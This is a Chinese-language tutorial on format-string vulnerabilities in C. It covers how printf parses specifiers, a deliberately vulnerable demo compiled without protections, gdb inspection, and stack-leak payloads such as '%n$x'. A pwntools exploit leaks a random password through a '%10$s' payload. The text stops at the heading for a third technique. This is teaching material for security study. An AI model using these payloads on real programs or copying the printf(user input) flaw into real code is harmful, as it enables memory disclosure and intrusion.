format_str(格式化字符串漏洞)

格式化字符串

格式化字符串就是把计算机中存储的数据变成人们人类能读懂的字符串。
几乎所有的c/c++ 程序需要用到格式化字符串

例如printf()函数

1
printf("Color %s,Number %d,Float %2.4f","ref",123456,3.14);

printf在调用之前的传参顺序从左往右依次读取压栈
先读取”Color %s,Number %d,Float %2.4f”
会一个字符一个字符去读取,然后会遇到两种情况

  1. 当前字符不是%,直接输出。
  2. 当前字符是%
    1. 如果没有字符,报错
    2. 如果下一个字符是%,输出%
    3. 否则根据相应的字符,获取相应的参数,对其进行解析并输出

格式化字符串漏洞原理

我们用一段代码来看

1
2
3
4
5
6
7
8
#include <stdio.h>
int main()
{
char s[100];
read(0,s,99);
printf(s);
return 0;
}
编译的时候记得关闭warning提示和开启32位编译,这里为了方便我们直接用下边这行语句编译  
gcc -w -m32 -fno-stack-protector -no-pie -o c c.c  

这个就是很简单的把输入的东西输出,但如果我们传入一个占位符呢?



我们发现每次输入不同的占位符都会返回不同的值,那这些值是哪来的呢?
下面我们gdb调试下

下面要用到的gdb命令有b printf(给printf函数下断点),r (运行),c (从断点处继续运行)  

进入gdb下断点然后运行
我们先输入%d,然后继续运行直到printf函数被执行,打印出内容

打印出来的值 -11828
栈上的第二个参数0xffffd1cc
计算机中

0xffffd1cc的值刚好是-11828
接下来继续尝试%s和%x


他们都指向同一个地方,但我们不能确定是从栈的第二位开始还是第一位
继续尝试多个%x
这里我输入的三个 %x

结合打印出来的字符串发现三个%x 依次打印了从0xffffd1b4到0xffffd1bc对应的内容
这样就解决的格式化字符串漏洞原理问题

利用1(泄露栈内存)

通过上面我们基本了解该怎么去通过占位符来得到栈中的某个值
那如果我们用足够长的占位符就能知道任意栈的内存了
但不能每次都去用过长的占位符去得到这个栈的内存

所以我们用`%n$x` 来获得对应n+1的参数的值  

在上面的例子中尝试得到第三个%x对应的值
输入%2$x

成功得到了
第三个参数的值

利用2(泄露任意内存地址)

尝试输入AAAA %x %x %x %x %x %x %x %x %x %x

A在计算机中的表现码就是41,就能确定aaaa所在的内存地址相对格式化字符串的相对偏移为7
那么我们输入 AAAA %7$x 能得到AAAA 41414141

那如果把AAAA换成某个地址,并且得到他的偏移,就能得到这个地址的值

下面用另一个Demo来尝试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include <stdio.h>
#include <unistd.h>
#include <time.h>
#include <stdlib.h>

unsigned int password;
int main()
{
setvbuf(stdout,0,2,0);
char buf[100];
char input[16];
int fd;
srand(time(NULL));
fd = open("/dev/urandom",0);
read(fd,&password,4);
printf("What is your name ?");
read(0,buf,99);
printf("Hello,");
printf(buf);
printf("Your password :");
read(0,input,15);
if (atoi(input) != password)
{
printf("Goodbay!");
}else
{
printf("Congrt!!!");
}
return 0;
}

我们要做的是通过password的地址来得到随机取的值来使input与password相等
因为password是未初始化的全局变量,值存放在bss段

通过AAAA %x的方式来得到偏移

偏移为 10
以此构造payload = 0x0804A040 + ‘%10$s’
将返回值传输入到password

下面是exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# -*- coding: utf-8 -*-
from pwn import *
h=process('./a')
password = 0x0804A040
#构造payload来得到每次随机的值
payload = p32(password)+ '#'+ '%10$s'+'#'
h.recvuntil("?")
h.sendline(payload)
h.recvuntil("#")
print '------------------------------'
pwd = u32(h.recvuntil("#")[:4])
#获取并将值处理传入
h.sendline(str(pwd))
h.interactive()

利用3(覆盖栈内存)